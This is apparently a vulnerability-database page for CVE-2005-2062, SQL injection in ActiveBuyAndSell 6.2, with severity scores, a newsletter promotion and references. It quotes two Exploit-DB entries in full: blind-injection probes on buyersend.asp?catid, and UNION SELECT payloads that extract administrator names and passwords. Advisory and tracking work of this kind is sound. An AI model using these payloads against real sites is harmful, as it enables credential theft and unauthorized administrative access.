CVE-2005-2062
published 2005-06-29CVE-2005-2062: Multiple SQL injection vulnerabilities in ActiveBuyAndSell 6.2 allow remote attackers to execute arbitrary SQL commands via the catid parameter to (1)…
PriorityP338high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
1.35%
68.1th percentile
Multiple SQL injection vulnerabilities in ActiveBuyAndSell 6.2 allow remote attackers to execute arbitrary SQL commands via the catid parameter to (1) default.asp or (2) buyersend.asp, (3) Administrator ID field in admin.asp, E-mail field in (4) advertiserstart.asp or (5) buyer.asp, or Keyword field in search.asp.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| active_web_softwares | activebuyandsell | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
ActiveBuyandSell 6.2 - 'buyersend.asp?catid' Blind SQL Injection
exploitdb·2009-12-17
CVE-2005-2062 ActiveBuyandSell 6.2 - 'buyersend.asp?catid' Blind SQL Injection
ActiveBuyandSell 6.2 - 'buyersend.asp?catid' Blind SQL Injection
---
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: (buyersend.asp catid) Blind SQL Injection Vulnerability
[~] Vendor: :www.activewebsoftwares.com
[*] Software: ActiveBuyandSell v 6.2
[*] author: ((R3d-D3v!L))
[*] Date: 18.dec.2009
[*] T!ME: 12:00 am
[?] Home: WwW.xP10.ME
[?] contact: N/A
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????
[*] Err0r C0N50L3:
[*] http://server/demoactivebuyandsell/buyersend.asp?catid={offsec}
[*]{offsec}
7Ru3 : buyersend.asp?catid=1 and 1=1
f4L53: buyersend.asp?catid=1 and 1=2
N073:
! 7h!/\/k u can f!nd m0r3
just let your m1nd breath ;)
! GAZA !N 0uR HEART's blood and M!ND
[~]-----------------------------{D3V!L
Exploit-DB
ActiveBuyandSell 6.2 - 'buyersend.asp?catid' SQL Injection
exploitdb·2007-03-23
CVE-2005-2062 ActiveBuyandSell 6.2 - 'buyersend.asp?catid' SQL Injection
ActiveBuyandSell 6.2 - 'buyersend.asp?catid' SQL Injection
---
#Title : Active BuyandSell Remote SQL Injection Vulnerability
#Author : CyberGhost
#Demo Page : http://www.activewebsoftwares.com/demoactivebuyandsell
#Script Page : http://www.activewebsoftwares.com/productinfo.aspx?productid=8
#Vuln.
#Username : /buyersend.asp?catid=-1+union+select+0,1,2,3,4,5,6,adminname,8,9,0,1,2,3,4,5,6+from+admins
#Password : /buyersend.asp?catid=-1+union+select+0,1,2,3,4,5,6,password,8,9,0,1,2,3,4,5,6+from+admins
#Admin Login : /admin.asp
Thanx : redLine - Hackinger - excellance - Liarhack - SaCReD SeeR - MaTRax - KinSize - BolivaR - kerem125 - by_emR3
And All TURKISH HACKERS !
# milw0rm.com [2007-03-23]
No writeups or analysis indexed.
http://echo.or.id/adv/adv21-theday-2005.txthttp://marc.info/?l=bugtraq&m=111963341429906&w=2http://www.securityfocus.com/bid/23110http://www.vupen.com/english/advisories/2007/1096https://exchange.xforce.ibmcloud.com/vulnerabilities/33183https://www.exploit-db.com/exploits/3550http://echo.or.id/adv/adv21-theday-2005.txthttp://marc.info/?l=bugtraq&m=111963341429906&w=2http://www.securityfocus.com/bid/23110http://www.vupen.com/english/advisories/2007/1096https://exchange.xforce.ibmcloud.com/vulnerabilities/33183https://www.exploit-db.com/exploits/3550
2005-06-29
Published